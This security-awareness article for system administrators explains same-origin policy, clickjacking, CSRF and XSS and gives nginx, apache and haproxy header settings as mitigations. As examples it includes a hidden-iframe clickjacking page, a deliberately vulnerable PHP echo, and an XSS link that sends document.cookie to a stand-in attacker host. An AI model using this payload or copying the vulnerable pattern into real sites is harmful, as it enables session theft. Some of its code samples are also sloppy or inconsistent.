This article aims to raise awareness of system administrator about the cross domain attack and to provide suggestions about how to reduce the exposure to them.
The need arises from the awareness that the one of most vector used by hacker for its malicious purposes is to invite to visit a infected site containing java script that attempts illegal operations to other domains: a cross domain attack.
The goal is to understand how to manage in security a web service working closely with the developers in a devops approach.
The suggestions will be simple reverse proxy configuration to apply in nginx or apache for improving the security of the managed web services.
Let’s start the discussion esplaining the basic rule of cross site scripting: same origin policy.
Same Origin Policy
The same-origin policy controls interactions between two different origins isolating malicious domains to access resources and data (cookie, token) of other domains. It’s a security mechanism that doesn’t permit to malicious domains to access to cookies and tokens of the attacked domain for making http request cross domain.
The interactions managed by SOP are placed in three categories:
- Cross-origin writes are typically allowed. Examples are links, redirects and form submissions.
- Cross-origin embedding is typically allowed: Javascript, CSS, images, Anything with <frame> and <iframe>
- Cross-origin reads are typically not allowed. It means that accessing reading the cookie and tokens of other domain is not permitted.
Let’s go inside the meaning of these exceptions for understanding better SOP and the type of attack hidden inside its meaning.
Same origin policy and click hacking
Let’s suppose to have a managed site like www.victim.com and a malicious site like www.attacker.com containing a hidden iframe like that:
<iframe src=”http://www.victim.com/” with=129 height=123 style=”visibility: hidden”>
What is the browser’s behaviour? we can note that the site is www.victim.com is loaded in trasparent way inside the www.attacker.com. This happens because the exception two to SOP rules is followed: anything with <frame> and <iframe>.
This behaviour is normal and very useful for browsing experience user. The session in www.attacker.com continues to work inside the iframe hidden. A click hacking attack can be performed: in this scenario the users is attracted to click on link, and instead a double click is done: one to fake site like www.google.it, and the other to not visible link of the hidden page:
<div>Click on the link to get rich now:</div>
<iframe src=”http://www.victim.com/” with=129 height=123 style=”visibility: hidden”>
<a href=”http://www.google.com” target=”_blank” style=”position:relative;left:20px;z-index:-1″>CLICK ME!</a>
<div>You’ll be rich for the whole life!</div>
See https://www.owasp.org/index.php/Clickjacking for info about this attack. This link is useful too http://javascript.info/tutorial/clickjacking.
How to avoid this: the suggestion is to use the X-Frame-Options header. For example google and facebook use it for avoiding this attack:
root@kali:~# curl -v https://www.google.it 2>&1 |grep Frame
< X-Frame-Options: SAMEORIGIN
root@kali:~# curl -v https://www.facebook.com 2>&1 |grep Frame
< X-Frame-Options: DENY
SAMEORIGIN permits the visualization of the domain only in a iframe inside the domain itself: DENYdenies the domain inside any iframe of any domain.
For adding this header in Nginx and apache:
Nginx:
add_header X-Frame-Options SAMEORIGIN;
Apache:
Header set X-Frame-Options SAMEORIGIN
What is the important thing to know until now: in a iframe of another domain it’s possible to load another page maintaining the eventual session already open (the cookie session are sent in the GET Request): the only thing that the attacker site can do is to show the page and to hope in a clickhacking attack (with cors introduced in html 5 things change). The click hacking attack can be resolved adding in the server’s answer the header above: it instruct the browser to always load the page without showing and of course to avoid the attack.
It’s also possible to deny every iframe also inside the same domain configuring X-Frame-Options to DENY.
Let’go to analyze another detail related to SOP.
Same origin policy and CSRF attack
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when the malicious web site performs an unwanted action on a trusted site. SOP helps to be protected by this attack; the only exception is the form submission from moment that there is no javascript involved in the process.
If a form is present in attacker domain, and the user clicks on the right button, the POST is forwarded to victim domain with the relative session cookie. For mitigating this type of attack, it’s suggested to use random token generated from server that cannot be read inside the attacker domain because prohibited by SOP. Please read this article from owasp https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet.
The attacker cannot read the random token because blocked by SOP. The following can only be done in its domain:
var tokens = document.cookie.split(‘;’);
If the token is used, a simple html form would have a hidden token value like that:
<form action=”http://www.victim.com” method=”post”>
<p><input type=”hidden” name=”authenticity_token” value=”j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=” ></p>
</form>
The token is associated to cookie and it’s protected by SOP: if www.attacker.com makes a post single request, he would never guess that token.
Moreover It’s not permitted and blocked by SOP the execution of Ajax request by XMLHttpRequest from attacker to viction domain:
var invocation = new XMLHttpRequest();
var url = ‘http://www.victim.com/’;
function callOtherDomain(){
if(invocation) {
invocation.open(‘POST’, url, true);
invocation.withCredentials = true;
invocation.onreadystatechange = handler;
invocation.send();
}
In HTML 5 the Cross-Origin Resource Sharing (CORS) by XMLHttpRequest mechanism gives web servers cross-domain access more control and power: please visit this site for better understanding https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#toc.
CSRF attack becomes deadly if the victim site has some XSS vulnerability.
Same origin policy and XSS attack
In Cross-Site Scripting (XSS) attacks malicious scripts are executed inside of victim domain. It’s a vulnerability inside the site that permits to javascript to bypass SOP protection.
A simple and typical index.php vulnerable is the following:
<?php
$visitor = $_ GET[‘visitor’];
echo “Welcome $visitor<br>”;>
The site can be attacked convinced the user to click in this link:
http://www.victim.com/index.php?name=<script>location.href = ‘http://www.attacker.com/Stealer.php?cookie=’+document.cookie;</script>
The most famous attack that exploited this vulnerabilties was samy that by XmlHttp request changed the profile of everyone visited the samy profile: see https://samy.pl/popular/tech.html for understanding how it worked.
What can we do in these case for mitigating eventual xss vulnerabilities? The best practises suggest to add HttpOnly flag header in order to force the cookie not be accessed through client side script. In this case I suggest to use haproxy fro rewriting http cookie header (it’s more versatile of nginx and apache) adding the HttpOnly flag in the end. The configuration to apply is that:
rspirep ^(Set-Cookie:.*) \1;\ HttpOnly
This protection is not secure at 100%. With html 5, it’s possible for JavaScript to access data across domains and to tunnel HTTP traffic over a cross domain setting a browser equivalent by a reverse shell as demonstrated by Lava Kumar with a simple tool named ‘Shell of the future’. Please read this article for better understanding this attack http://resources.infosecinstitute.com/demystifying-html-5-attacks/#gref.
Another option to add for better security is to add the X-XSS-Protection http header: it sets the configuration for the cross-site scripting filter built into most browser.
In Nginx you can add this http header in this way:
add_header X-XSS-Protection “1; mode=block”;
For Apache:
Header set X-XSS-Protection “1; mode=block”;
Another http header to use for mitigating this attack is Content Security Policy that is delivered via a HTTP response header and defines approved sources of content that the browser may load. For example in nginx:
add_header Content-Security-Policy “default-src https://www.victim.com”;
Please, read this blog for more information https://scotthelme.co.uk/a-new-security-header-referrer-policy/.
You can scan your site for checking which http security header are missing or not at https://securityheaders.io/.
Conclusions
My goal was to provide awareness to system administrators how to improve the public web site security by little tips easily apply.
It’s important to share these informations with the front and back end developers in order to follow the best approach for securing the web site by a agile devops approach.
Any comments or suggestions are very appreciated.